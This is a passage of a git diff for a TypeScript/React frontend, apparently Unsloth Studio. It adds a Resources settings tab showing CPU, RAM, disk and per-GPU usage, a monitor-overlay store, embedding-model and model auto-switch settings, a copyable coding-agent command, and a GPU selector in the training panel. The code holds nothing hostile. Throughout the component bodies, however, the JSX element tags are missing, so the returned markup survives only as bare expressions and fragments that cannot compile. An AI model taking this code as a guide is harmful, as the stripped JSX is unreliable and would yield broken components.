s.params.checkpoint); const ggufVariant = useChatRuntimeStore((s) => s.activeGgufVariant); @@ -300,7 +399,6 @@ function useLoadedModelName(): string { }, [checkpoint, ggufVariant]); } -// shiki highlighting via the app's shared code plugin + themes (same as chat). const SHIKI_THEMES = [unslothLightTheme, unslothDarkTheme] as [ typeof unslothLightTheme, typeof unslothDarkTheme, @@ -314,7 +412,6 @@ function HighlightedCode({ code: string; language: string; }) { - // Fence so Streamdown's shiki plugin highlights it (no markdown inside a fence). const markdown = useMemo( () => `\`\`\`${language}\n${code}\n\`\`\``, [code, language], @@ -345,25 +442,47 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { ); const [copied, setCopied] = useState(false); const [copiedUrl, setCopiedUrl] = useState(false); + const [copiedAgent, setCopiedAgent] = useState(false); const [useTunnel, setUseTunnel] = useState(readUseTunnelPref); + // null while loading; the same setting the General tab exposes (shared cache). + const [autoSwitch, setAutoSwitch] = useState( + null, + ); + const [savingAutoSwitch, setSavingAutoSwitch] = useState(false); - // Tunnel may start after the first /api/health read; refresh so it surfaces here. useEffect(() => { void fetchDeviceType({ force: true }); }, []); + useEffect(() => { + let cancelled = false; + void loadOpenAIAutoSwitchSettings() + .then((s) => { + if (!cancelled) setAutoSwitch(s); + }) + .catch(() => { + // Best-effort: leave the toggle off if the setting can't be read. + }); + return () => { + cancelled = true; + }; + }, []); + const model = useLoadedModelName(); - // Real key while revealed (before "Done"); otherwise a placeholder. const key = apiKey || KEY_PLACEHOLDER; - // Toggle on + tunnel up: public tunnel URL. Off: backend direct host:port - // (origin is only a last-resort fallback). const origin = typeof window !== "undefined" ? window.location.origin : ""; const base = useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin); + const autoSwitchOn = autoSwitch?.enabled ?? false; const snippets = useMemo( - () => buildSnippets(base, key, model, os), - [base, key, model, os], + () => buildSnippets(base, key, model, os, autoSwitchOn), + [base, key, model, os, autoSwitchOn], + ); + // Agent command must target the server the panel shows, not the :8888 default. + const agentCommand = useMemo( + () => buildAgentCommand(base, key, os), + [base, key, os], ); const osAware = OS_AWARE[lang]; @@ -371,7 +490,9 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { ? os === "windows" ? "powershell" : "bash" - : "python"; + : JAVASCRIPT_TYPES.has(lang) + ? "javascript" + : "python"; const handleCopy = async () => { if (await copyToClipboard(snippets[lang])) { @@ -385,6 +506,20 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { writeUseTunnelPref(next); }; + // Same setting as the General tab; persist optimistically and revert on failure + // so the examples reflect the live model-switch behavior. + const handleToggleAutoSwitch = (next: boolean) => { + const idle = autoSwitch?.autoUnloadIdleSeconds ?? 0; + setAutoSwitch((prev) => (prev ? { ...prev, enabled: next } : prev)); + setSavingAutoSwitch(true); + void updateOpenAIAutoSwitchSettings(next, idle) + .then(setAutoSwitch) + .catch(() => { + setAutoSwitch((prev) => (prev ? { ...prev, enabled: !next } : prev)); + }) + .finally(() => setSavingAutoSwitch(false)); + }; + const handleCopyUrl = async () => { if (cloudflareUrl && (await copyToClipboard(cloudflareUrl))) { setCopiedUrl(true); @@ -392,12 +527,54 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { } }; + const handleCopyAgent = async () => { + if (await copyToClipboard(agentCommand)) { + setCopiedAgent(true); + setTimeout(() => setCopiedAgent(false), 1800); + } + }; + return (

{t("settings.apiKeys.usageExamples")}

+ {/* Same setting as the General tab; surfaced here so the request `model` + actually switches the served model, which the examples below show. */} +
+
+ + + {t("settings.general.modelAutoSwitch.enable")} + + + + + + + {t("settings.general.modelAutoSwitch.enableDescription")} + + +
+
{cloudflareUrl ? (
@@ -412,9 +589,9 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { {/* Only when not launched with --secure: the raw 0.0.0.0 port is still globally reachable, so point the user at --secure. */} - {!secure ? ( + {secure ? null : ( - +
- {/* Always rendered (dimmed when off) so toggling never changes the - row height and shifts the code block below. */} - {/* key on the snippet so Streamdown remounts and re-highlights when - only a substring (e.g. the base URL) changes; its block memo - otherwise keeps the stale render. */}
+
+ + {t("settings.apiKeys.codingAgents")} + + + {t("settings.apiKeys.codingAgentsHint")} + +
+ + {agentCommand} + + +
+ + {t("settings.apiKeys.codingAgentsSwap")} + +
{t("settings.apiKeys.setupDocs")} {DOC_LINKS.map((link) => ( diff --git a/studio/frontend/src/features/settings/settings-dialog.tsx b/studio/frontend/src/features/settings/settings-dialog.tsx index 0ee0dd0a7c..0d201edc0d 100644 --- a/studio/frontend/src/features/settings/settings-dialog.tsx +++ b/studio/frontend/src/features/settings/settings-dialog.tsx @@ -12,6 +12,7 @@ import { cn } from "@/lib/utils"; import { Cancel01Icon, CloudIcon, + CpuIcon, Globe02Icon, HelpCircleIcon, Message01Icon, @@ -33,6 +34,8 @@ import { ChatTab } from "./tabs/chat-tab"; import { ConnectionsTab } from "./tabs/connections-tab"; import { GeneralTab } from "./tabs/general-tab"; import { ProfileTab } from "./tabs/profile-tab"; +import { ResourcesTab } from "./tabs/resources-tab"; +import { FloatingMonitor } from "@/components/floating-monitor"; interface TabDef { id: SettingsTab; @@ -49,6 +52,11 @@ const TABS: TabDef[] = [ labelKey: "settings.tabs.appearance", icon: PaintBrush02Icon, }, + { + id: "resources", + labelKey: "settings.tabs.resources", + icon: CpuIcon, + }, { id: "chat", labelKey: "settings.tabs.chat", @@ -77,6 +85,8 @@ function renderTab(tab: SettingsTab) { return ; case "appearance": return ; + case "resources": + return ; case "chat": return ; case "connections": @@ -100,6 +110,7 @@ export function SettingsDialog() { general: null, profile: null, appearance: null, + resources: null, chat: null, connections: null, "api-keys": null, @@ -115,110 +126,113 @@ export function SettingsDialog() { }, [open, activeTab]); return ( - !o && closeDialog()}> - { - // Restore focus to the element that triggered openDialog(). Radix's - // FocusScope races our rAF-scheduled tab focus and loses the - // previous-focus reference, so restore it by hand. - if (opener && opener.isConnected) { - e.preventDefault(); - opener.focus({ preventScroll: true }); - } - }} - className={cn( - // Cap at 820px but shrink to the viewport so it doesn't clip on - // iPad-portrait widths (640-820px) where fixed `w-[820px]` overflows. - "settings-surface !max-w-[min(820px,calc(100vw-2rem))] h-[560px] w-[min(820px,calc(100vw-2rem))] p-0 overflow-hidden", - // Soft shadow, no outline ring. Pin --radius to the light value so - // corner rounding matches in dark mode. - "shadow-border rounded-xl ring-0 [--radius:1.1rem]", - "max-sm:h-dvh max-sm:w-dvw max-sm:!max-w-none max-sm:rounded-none", - )} - > - - {t("settings.dialog.title")} - - - {t("settings.dialog.description")} - -
- + {tab.badgeKey ? ( + + {t(tab.badgeKey)} + + ) : null} + + ); + })} + + -
- -
- {renderTab(activeTab)} -
-
-
- - +
+ +
+ {renderTab(activeTab)} +
+
+
+ + + + ); } diff --git a/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts b/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts new file mode 100644 index 0000000000..1af804a19e --- /dev/null +++ b/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { create } from "zustand"; +import { persist } from "zustand/middleware"; + +interface MonitorOverlayState { + isOpen: boolean; + isMinimized: boolean; + setIsOpen: (open: boolean) => void; + toggleMinimized: () => void; +} + +export const useMonitorOverlayStore = create()( + persist( + (set) => ({ + isOpen: false, + isMinimized: false, + setIsOpen: (isOpen) => set({ isOpen }), + toggleMinimized: () => set((state) => ({ isMinimized: !state.isMinimized })), + }), + { name: "unsloth_monitor_overlay" } + ) +); \ No newline at end of file diff --git a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts index 7fab580f3c..234e92b3d0 100644 --- a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts +++ b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts @@ -7,6 +7,7 @@ export type SettingsTab = | "general" | "profile" | "appearance" + | "resources" | "chat" | "connections" | "api-keys" @@ -60,6 +61,7 @@ function loadInitialTab(): SettingsTab { "general", "profile", "appearance", + "resources", "chat", "connections", "api-keys", diff --git a/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx b/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx index e83ecebfc8..f1e503f7a3 100644 --- a/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx +++ b/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx @@ -17,6 +17,7 @@ import { fetchApiKeys, revokeApiKey, type ApiKey } from "../api/api-keys"; import { ApiMonitorConsole } from "../components/api-monitor-console"; import { ApiKeyRow } from "../components/api-key-row"; import { CreateKeyForm } from "../components/create-key-form"; +import { ModelAutoSwitchSection } from "../components/model-auto-switch-section"; import { KeyRevealCard } from "../components/key-reveal-card"; import { UsageExamples } from "../components/usage-examples"; @@ -171,6 +172,8 @@ export function ApiKeysTab() { + + !o && setRevokeTarget(null)}> diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx index b3f26c808e..df684b7752 100644 --- a/studio/frontend/src/features/settings/tabs/general-tab.tsx +++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx @@ -41,6 +41,13 @@ import { rotatePreviewLinks, updatePreviewSharing, } from "../api/preview-sharing"; +import { + type EmbeddingModelSettings, + EmbeddingModelVerificationError, + loadEmbeddingModelSettings, + resetEmbeddingModelSettings, + updateEmbeddingModelSettings, +} from "../api/embedding-model"; import { DEFAULT_UPLOAD_LIMIT_MB, type UploadLimitSettings, @@ -48,6 +55,7 @@ import { updateUploadLimitSettings, } from "../api/upload-limit"; import { ChangePasswordDialog } from "../components/change-password-dialog"; +import { EmbeddingModelCombobox } from "../components/embedding-model-combobox"; import { SettingsRow } from "../components/settings-row"; import { SettingsSection } from "../components/settings-section"; import { StudioVersionSection } from "../components/studio-version-section"; @@ -80,6 +88,7 @@ const PREFS_KEYS: string[] = [ "unsloth_chat_load_on_selection", "unsloth_chat_expand_quantizations", "unsloth_chat_show_all_quantizations", + "unsloth_models_fit_on_device_only", // Chat presets "unsloth_chat_custom_presets", "unsloth_chat_active_preset", @@ -95,6 +104,7 @@ const PREFS_KEYS: string[] = [ "tour:studio:v1", // Update notifications "unsloth_show_llama_update_banner", + "unsloth_monitor_overlay", ]; // Set by resetAllPrefs so the unmount-commit effect skips writing back the @@ -162,6 +172,16 @@ export function GeneralTab() { const [revokePreviewOpen, setRevokePreviewOpen] = useState(false); const [isRevokingPreview, setIsRevokingPreview] = useState(false); const [modelsFolder, setModelsFolder] = useState(null); + const [embeddingModel, setEmbeddingModel] = + useState(null); + const [draftEmbeddingModel, setDraftEmbeddingModel] = useState(""); + const [embeddingModelError, setEmbeddingModelError] = useState( + null, + ); + // Set after a 409 (unverifiable model); offers "Save anyway". + const [embeddingModelNeedsForce, setEmbeddingModelNeedsForce] = + useState(false); + const [isSavingEmbeddingModel, setIsSavingEmbeddingModel] = useState(false); const draftRef = useRef(draftToken); useEffect(() => { @@ -256,6 +276,27 @@ export function GeneralTab() { }; }, [t]); + useEffect(() => { + let cancelled = false; + void loadEmbeddingModelSettings() + .then((settings) => { + if (cancelled) return; + setEmbeddingModel(settings); + setDraftEmbeddingModel(settings.embeddingModel); + }) + .catch((error) => { + if (cancelled) return; + setEmbeddingModelError( + error instanceof Error + ? error.message + : t("settings.general.rag.loadError"), + ); + }); + return () => { + cancelled = true; + }; + }, [t]); + useEffect(() => { let cancelled = false; void loadModelsFolder() @@ -348,6 +389,58 @@ export function GeneralTab() { } }; + const saveEmbeddingModel = async (force: boolean) => { + const trimmed = draftEmbeddingModel.trim(); + if (!trimmed) { + setEmbeddingModelError(t("settings.general.rag.emptyError")); + return; + } + setIsSavingEmbeddingModel(true); + setEmbeddingModelError(null); + try { + const settings = await updateEmbeddingModelSettings(trimmed, { + hfToken: hfToken || undefined, + force, + }); + setEmbeddingModel(settings); + setDraftEmbeddingModel(settings.embeddingModel); + setEmbeddingModelNeedsForce(false); + toast.success(t("settings.general.rag.saved"), { + description: t("settings.general.rag.reindexWarning"), + }); + } catch (error) { + if (error instanceof EmbeddingModelVerificationError) { + setEmbeddingModelNeedsForce(true); + } + setEmbeddingModelError( + error instanceof Error + ? error.message + : t("settings.general.rag.saveError"), + ); + } finally { + setIsSavingEmbeddingModel(false); + } + }; + + const resetEmbeddingModel = async () => { + setIsSavingEmbeddingModel(true); + setEmbeddingModelError(null); + setEmbeddingModelNeedsForce(false); + try { + const settings = await resetEmbeddingModelSettings(); + setEmbeddingModel(settings); + setDraftEmbeddingModel(settings.embeddingModel); + } catch (error) { + setEmbeddingModelError( + error instanceof Error + ? error.message + : t("settings.general.rag.saveError"), + ); + } finally { + setIsSavingEmbeddingModel(false); + } + }; + const saveUploadLimit = async () => { const parsed = Number(draftUploadLimit); if (!Number.isInteger(parsed)) { @@ -498,36 +591,6 @@ export function GeneralTab() { - - -
- void saveHelperPrecache(enabled)} - /> - {helperPrecache?.disabledByEnv ? ( - - {t("settings.general.helperLlm.disabledByEnv")} - - ) : helperPrecacheError ? ( - - {helperPrecacheError} - - ) : null} -
- - - @@ -564,6 +627,77 @@ export function GeneralTab() { + + +
+
+ { + setDraftEmbeddingModel(next); + setEmbeddingModelNeedsForce(false); + setEmbeddingModelError(null); + }} + accessToken={hfToken || undefined} + disabled={!embeddingModel} + placeholder={embeddingModel?.defaultEmbeddingModel ?? ""} + ariaLabel={t("settings.general.rag.embeddingModel")} + className="w-[220px]" + /> + +
+ {embeddingModelError ? ( + + {embeddingModelError} + + ) : null} +
+ {embeddingModelNeedsForce ? ( + + ) : null} + {embeddingModel?.isCustom ? ( + + ) : null} +
+ + {t("settings.general.rag.reindexWarning")} + +
+ + + )} + + +
+ void saveHelperPrecache(enabled)} + /> + {helperPrecache?.disabledByEnv ? ( + + {t("settings.general.helperLlm.disabledByEnv")} + + ) : helperPrecacheError ? ( + + {helperPrecacheError} + + ) : null} +
+ + + diff --git a/studio/frontend/src/features/settings/tabs/resources-tab.tsx b/studio/frontend/src/features/settings/tabs/resources-tab.tsx new file mode 100644 index 0000000000..d5e19cc51c --- /dev/null +++ b/studio/frontend/src/features/settings/tabs/resources-tab.tsx @@ -0,0 +1,477 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { Button } from "@/components/ui/button"; +import { Progress } from "@/components/ui/progress"; +import { Switch } from "@/components/ui/switch"; +import { openModelsDir } from "@/features/native-intents"; +import { useSystemInfo, type GpuDevice } from "@/hooks/use-system"; +import { isTauri } from "@/lib/api-base"; +import { copyToClipboard } from "@/lib/copy-to-clipboard"; +import { toast } from "@/lib/toast"; +import { cn } from "@/lib/utils"; +import { useT } from "@/i18n"; +import { useEffect, useMemo, useState } from "react"; +import { loadModelsFolder, type ModelsFolder } from "../api/models-folder"; +import { SettingsRow } from "../components/settings-row"; +import { SettingsSection } from "../components/settings-section"; +import { useMonitorOverlayStore } from "../stores/monitor-overlay-store"; +import { LayersIcon } from "lucide-react"; + +const POLL_MS = 3000; + +function isFiniteNumber(value: number | null | undefined): value is number { + return typeof value === "number" && Number.isFinite(value); +} + +function clampPercent(value: number | null | undefined): number { + if (!isFiniteNumber(value)) return 0; + return Math.max(0, Math.min(100, value)); +} + +function usageIndicatorClass(percent: number): string { + if (percent >= 90) return "bg-destructive"; + if (percent >= 70) return "bg-amber-500"; + return "bg-primary"; +} + +function usageTextClass(percent: number): string { + if (percent >= 90) return "text-destructive"; + if (percent >= 70) return "text-amber-600 dark:text-amber-400"; + return "text-primary"; +} + +function formatGb(value: number | null | undefined): string { + const safe = isFiniteNumber(value) ? Math.max(0, value) : 0; + const digits = safe >= 10 ? 1 : 2; + return `${safe.toFixed(digits)} GB`; +} + +function formatMb(value: number | null | undefined): string { + const safe = isFiniteNumber(value) ? Math.max(0, value) : 0; + return `${Math.round(safe).toLocaleString()} MB`; +} + +function formatPercent(value: number | null | undefined): string { + return `${Math.round(clampPercent(value))}%`; +} + +function formatFrequency(mhz: number | null | undefined): string | null { + if (!isFiniteNumber(mhz) || mhz <= 0) return null; + if (mhz >= 1000) return `${(mhz / 1000).toFixed(2)} GHz`; + return `${Math.round(mhz)} MHz`; +} + +function formatUptime(seconds: number | null | undefined): string { + if (!isFiniteNumber(seconds) || seconds <= 0) return "0m"; + const minutes = Math.floor(seconds / 60); + const hours = Math.floor(minutes / 60); + const days = Math.floor(hours / 24); + if (days > 0) return `${days}d ${hours % 24}h`; + if (hours > 0) return `${hours}h ${minutes % 60}m`; + return `${Math.max(1, minutes)}m`; +} + +function MetricTile({ + label, + value, + detail, + percent, +}: { + label: string; + value: string; + detail: string; + percent: number; +}) { + const safePercent = clampPercent(percent); + return ( +
+
+ + {label} + + + {formatPercent(safePercent)} + +
+
+
+ {value} +
+
+ {detail} +
+
+ +
+ ); +} + +function InfoRow({ + label, + value, + detail, +}: { + label: string; + value: string; + detail?: string; +}) { + return ( +
+ + {label} + + + {detail ? `${value} (${detail})` : value} + +
+ ); +} + +function deviceOrdinal(device: GpuDevice): number | undefined { + return device.visible_ordinal ?? device.index; +} + +export function ResourcesTab() { + const t = useT(); + const [liveUpdates, setLiveUpdates] = useState(true); + const { isOpen, setIsOpen } = useMonitorOverlayStore(); + const systemInfo = useSystemInfo({ + enabled: liveUpdates, + pollMs: liveUpdates ? POLL_MS : undefined, + }); + const [modelsFolder, setModelsFolder] = useState(null); + const [modelsFolderLoaded, setModelsFolderLoaded] = useState(false); + + useEffect(() => { + let cancelled = false; + void loadModelsFolder() + .then((folder) => { + if (cancelled) return; + setModelsFolder(folder); + setModelsFolderLoaded(true); + }) + .catch(() => { + if (cancelled) return; + setModelsFolderLoaded(true); + }); + return () => { + cancelled = true; + }; + }, []); + + const metrics = useMemo(() => { + const devices = systemInfo.gpu?.devices ?? []; + const ramTotal = systemInfo.memory?.total_gb ?? 0; + const ramAvailable = systemInfo.memory?.available_gb ?? 0; + const ramUsed = Math.max(0, ramTotal - ramAvailable); + const diskTotal = systemInfo.disk?.total_gb ?? 0; + const diskFree = systemInfo.disk?.free_gb ?? 0; + const diskUsed = Math.max(0, diskTotal - diskFree); + const vramTotal = devices.reduce( + (sum, device) => sum + (device.memory_total_gb ?? 0), + 0, + ); + const vramUsed = devices.reduce( + (sum, device) => sum + (device.vram_used_gb ?? 0), + 0, + ); + const vramFree = devices.reduce( + (sum, device) => + sum + + (device.vram_free_gb ?? + Math.max(0, (device.memory_total_gb ?? 0) - (device.vram_used_gb ?? 0))), + 0, + ); + const vramPercent = vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0; + + return { + devices, + ramTotal, + ramUsed, + diskTotal, + diskFree, + diskUsed, + vramTotal, + vramUsed, + vramFree, + vramPercent, + }; + }, [systemInfo]); + + const handleModelsFolder = async () => { + const folder = modelsFolder; + if (!folder) return; + if (isTauri) { + try { + await openModelsDir(folder.path); + } catch (error) { + toast.error(t("settings.resources.storage.openError"), { + description: error instanceof Error ? error.message : undefined, + }); + } + return; + } + if (await copyToClipboard(folder.path)) { + toast.success(t("settings.resources.storage.copied")); + } else { + toast.error(t("settings.resources.storage.copyError")); + } + }; + + const cpuCoresLabel = + systemInfo.cpu?.logical_count && systemInfo.cpu?.physical_count + ? t("settings.resources.liveMonitor.cpuCores", { + logical: systemInfo.cpu.logical_count, + physical: systemInfo.cpu.physical_count, + }) + : t("settings.resources.environment.unknown"); + const cpuFrequencyLabel = formatFrequency(systemInfo.cpu?.frequency_mhz); + const hasGpu = + (systemInfo.gpu?.available ?? false) && metrics.devices.length > 0; + const backendLabel = ( + systemInfo.gpu?.backend ?? systemInfo.device_backend ?? "cpu" + ).toUpperCase(); + const modelsFolderPath = modelsFolder + ? modelsFolder.path + : modelsFolderLoaded + ? t("settings.resources.environment.unknown") + : t("common.loading"); + + return ( +
+
+
+

+ {t("settings.resources.title")} +

+

+ {t("settings.resources.description")} +

+
+
+ + +
+ {t("settings.resources.liveUpdates")} + +
+
+
+ + +
+ + + + +
+ + + + {hasGpu ? ( + metrics.devices.map((device, index) => { + const ordinal = deviceOrdinal(device); + const total = device.memory_total_gb ?? 0; + const used = device.vram_used_gb ?? 0; + const free = device.vram_free_gb ?? Math.max(0, total - used); + const percent = + device.vram_utilization_pct ?? + (total > 0 ? (used / total) * 100 : null); + const safePercent = clampPercent(percent); + return ( +
+
+
+
+ {device.name ?? + t("settings.resources.gpu.unknownDevice")} +
+
+ {ordinal === undefined + ? backendLabel + : `${t("settings.resources.gpu.deviceWithIndex", { + index: ordinal, + })}, ${backendLabel}`} +
+
+
+ + {formatPercent(safePercent)}{" "} + {t("settings.resources.gpu.vramUtilization")} + +
+
+
+ + {t("settings.resources.gpu.used", { + value: formatGb(used), + })} + + + {t("settings.resources.gpu.free", { + value: formatGb(free), + })} + + + {t("settings.resources.gpu.total", { + value: formatGb(total), + })} + +
+ +
+ ); + }) + ) : ( +
+ {t("settings.resources.gpu.noGpu")} +
+ )} + + + + + +
+ + {modelsFolderPath} + + +
+ + + + + + + + + + + +
+ ); +} diff --git a/studio/frontend/src/features/studio/sections/progress-section.tsx b/studio/frontend/src/features/studio/sections/progress-section.tsx index 6aaca86e0b..abab35db93 100644 --- a/studio/frontend/src/features/studio/sections/progress-section.tsx +++ b/studio/frontend/src/features/studio/sections/progress-section.tsx @@ -29,6 +29,7 @@ import { import { getTrainingMethodLabel } from "@/features/training/lib/training-methods"; import type { TrainingViewData } from "@/features/training"; import { useGpuUtilization } from "@/hooks"; +import type { GpuUtilization } from "@/hooks/use-gpu-utilization"; import { cn } from "@/lib/utils"; import { ChartAverageIcon, @@ -42,7 +43,7 @@ import { } from "@hugeicons/core-free-icons"; import { HugeiconsIcon } from "@hugeicons/react"; import { Link, useNavigate } from "@tanstack/react-router"; -import { type ReactElement, type ReactNode, useState } from "react"; +import { type ReactElement, type ReactNode, useEffect, useState } from "react"; import { useShallow } from "zustand/react/shallow"; import { ChartSettingsSheet } from "./charts/chart-settings-sheet"; import { @@ -123,18 +124,17 @@ export function ProgressSection({ const [stopDialogOpen, setStopDialogOpen] = useState(false); const [stopRequestedLocal, setStopRequestedLocal] = useState(false); - // Auto-resets when training stops; no useEffect needed const stopRequested = data.isTrainingRunning && stopRequestedLocal; const pct = data.totalSteps > 0 ? Math.min( - 100, - Math.max( - 0, - Math.round((data.currentStep / data.totalSteps) * 100), - ), - ) + 100, + Math.max( + 0, + Math.round((data.currentStep / data.totalSteps) * 100), + ), + ) : Math.round(data.progressPercent); const elapsed = data.elapsedSeconds; @@ -214,16 +214,16 @@ export function ProgressSection({ }, ...(data.trainingMethod !== "full" ? [ - { - section: "LoRA", - rows: [ - configRow(t("studio.progress.rank"), cfgLoraRank), - configRow(t("studio.progress.alpha"), cfgLoraAlpha), - configRow(t("studio.progress.dropout"), cfgLoraDropout), - configRow(t("studio.progress.variant"), cfgLoraVariant), - ], - }, - ] + { + section: "LoRA", + rows: [ + configRow(t("studio.progress.rank"), cfgLoraRank), + configRow(t("studio.progress.alpha"), cfgLoraAlpha), + configRow(t("studio.progress.dropout"), cfgLoraDropout), + configRow(t("studio.progress.variant"), cfgLoraVariant), + ], + }, + ] : []), ]; @@ -350,8 +350,8 @@ export function ProgressSection({ {stepsPerSecond == null ? t("studio.progress.noStepsPerSecond") : t("studio.progress.stepsPerSecond", { - value: stepsPerSecond.toFixed(2), - })} + value: stepsPerSecond.toFixed(2), + })} {data.currentNumTokens != null && ( {t("studio.progress.tokens", { value: data.currentNumTokens })} @@ -373,14 +373,50 @@ function LiveGpuPanel({ isTrainingRunning: boolean; }): ReactElement { const t = useT(); - const gpu = useGpuUtilization(isTrainingRunning); + const [selectedGpu, setSelectedGpu] = useState(0); + const gpuData = useGpuUtilization(isTrainingRunning); + const gpus: GpuUtilization[] = + Array.isArray(gpuData?.devices) && gpuData.devices.length > 0 + ? gpuData.devices + : gpuData && Object.keys(gpuData).length > 0 + ? [gpuData] + : []; + + useEffect(() => { + if (selectedGpu > 0 && selectedGpu >= gpus.length) { + setSelectedGpu(0); + } + }, [gpus.length, selectedGpu]); + + const gpuCount = gpus.length; + const currentGpu: Partial = gpus[selectedGpu] || gpus[0] || {}; return (
-
-

- {t("studio.progress.gpuMonitor")} -

+
+
+

+ {t("studio.progress.gpuMonitor")} +

+ {gpuCount > 1 && ( + + )} +
{t("studio.progress.live")} @@ -388,51 +424,44 @@ function LiveGpuPanel({
- } + icon={} value={ - gpu.gpu_utilization_pct != null - ? `${gpu.gpu_utilization_pct}%` + currentGpu.gpu_utilization_pct != null + ? `${currentGpu.gpu_utilization_pct}%` : "--" } - pct={gpu.gpu_utilization_pct ?? 0} + pct={currentGpu.gpu_utilization_pct ?? 0} /> - } + icon={} value={ - gpu.temperature_c != null ? `${gpu.temperature_c}°C` : "--" + currentGpu.temperature_c != null ? `${currentGpu.temperature_c}°C` : "--" } - pct={gpu.temperature_c ?? 0} + pct={currentGpu.temperature_c ?? 0} max={100} /> } value={ - gpu.vram_used_gb != null && gpu.vram_total_gb != null - ? `${gpu.vram_used_gb} / ${gpu.vram_total_gb} GB` + currentGpu.vram_used_gb != null && currentGpu.vram_total_gb != null + ? `${currentGpu.vram_used_gb} / ${currentGpu.vram_total_gb} GB` : "--" } - pct={gpu.vram_utilization_pct ?? 0} + pct={currentGpu.vram_utilization_pct ?? 0} /> } value={ - gpu.power_draw_w != null - ? gpu.power_limit_w != null - ? `${gpu.power_draw_w} / ${gpu.power_limit_w} W` - : `${gpu.power_draw_w} W` + currentGpu.power_draw_w != null + ? currentGpu.power_limit_w != null + ? `${currentGpu.power_draw_w} / ${currentGpu.power_limit_w} W` + : `${currentGpu.power_draw_w} W` : "--" } - pct={gpu.power_utilization_pct ?? 0} + pct={currentGpu.power_utilization_pct ?? 0} />
@@ -560,7 +589,10 @@ function TrainingHeaderActions({ {stopRequested ? t("studio.training.stopping") : t("studio.training.stopAction")} - + {t("studio.training.stopTitle")} diff --git a/studio/frontend/src/hooks/index.ts b/studio/frontend/src/hooks/index.ts index d5c923d57d..5b2fa43ae7 100644 --- a/studio/frontend/src/hooks/index.ts +++ b/studio/frontend/src/hooks/index.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: AGPL-3.0-only // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + export { useDebouncedValue } from "./use-debounced-value"; export { useGpuInfo } from "./use-gpu-info"; export { useGpuUtilization } from "./use-gpu-utilization"; @@ -9,3 +10,4 @@ export { useHfDatasetSplits } from "./use-hf-dataset-splits"; export { useHfTokenValidation } from "./use-hf-token-validation"; export { useTauriBackend } from "./use-tauri-backend"; export { useCollapseScrollLock } from "./use-collapse-scroll-lock"; +export { useSystemInfo } from "./use-system"; diff --git a/studio/frontend/src/hooks/use-gpu-info.ts b/studio/frontend/src/hooks/use-gpu-info.ts index eb4d89abd8..1e313acdf3 100644 --- a/studio/frontend/src/hooks/use-gpu-info.ts +++ b/studio/frontend/src/hooks/use-gpu-info.ts @@ -3,19 +3,26 @@ import { authFetch } from "@/features/auth"; import { useEffect, useState } from "react"; +import type { SystemInfoResponse } from "./use-system"; export interface GpuInfo { available: boolean; name: string; memoryTotalGb: number; + cpuCore: number; + cpuThread: number; systemRamAvailableGb: number; + systemRamTotalGb: number } const DEFAULT_GPU: GpuInfo = { available: false, name: "Unknown", memoryTotalGb: 0, + cpuCore: 0, + cpuThread: 0, systemRamAvailableGb: 0, + systemRamTotalGb: 0 }; // Module-level cache so multiple components share one fetch. @@ -30,24 +37,30 @@ async function fetchGpuOnce(): Promise { try { const res = await authFetch("/api/system"); if (!res.ok) throw new Error(`HTTP ${res.status}`); - const data = await res.json(); - const ramAvailableGb = data?.memory?.available_gb ?? 0; + + const data = await res.json() as SystemInfoResponse; const gpuData = data?.gpu; - if (!gpuData?.available || !gpuData.devices?.length) { - // No discrete GPU (e.g. Mac): still surface system RAM so memory math - // (unified memory) has a budget to work with. - const info: GpuInfo = { ...DEFAULT_GPU, systemRamAvailableGb: ramAvailableGb }; - cachedGpu = info; - return info; - } - const devices = gpuData.devices as Array<{ name?: string; memory_total_gb?: number }>; - const totalGb = devices.reduce((sum, d) => sum + (d.memory_total_gb ?? 0), 0); - const info: GpuInfo = { - available: true, - name: devices[0]?.name ?? "Unknown", - memoryTotalGb: totalGb, - systemRamAvailableGb: ramAvailableGb, + + // CPU/RAM exist even on hosts without a GPU, so populate them on every path. + // No discrete GPU (e.g. Mac): still surface system RAM so memory math + // (unified memory) has a budget to work with. + const base = { + cpuCore: data?.cpu?.physical_count ?? 0, + cpuThread: data?.cpu?.logical_count ?? 0, + systemRamAvailableGb: data?.memory?.available_gb ?? 0, + systemRamTotalGb: data?.memory?.total_gb ?? 0, }; + + const devices = gpuData?.devices ?? []; + const info: GpuInfo = + gpuData?.available && devices.length + ? { + ...base, + available: true, + name: devices[0]?.name ?? "Unknown", + memoryTotalGb: devices.reduce((sum, d) => sum + (d.memory_total_gb ?? 0), 0), + } + : { ...DEFAULT_GPU, ...base }; cachedGpu = info; return info; } catch { @@ -78,4 +91,4 @@ export function useGpuInfo(): GpuInfo { }, []); return gpu; -} +} \ No newline at end of file diff --git a/studio/frontend/src/hooks/use-gpu-utilization.ts b/studio/frontend/src/hooks/use-gpu-utilization.ts index 1a9f6102dd..be16647a4d 100644 --- a/studio/frontend/src/hooks/use-gpu-utilization.ts +++ b/studio/frontend/src/hooks/use-gpu-utilization.ts @@ -7,6 +7,9 @@ import { useEffect, useRef, 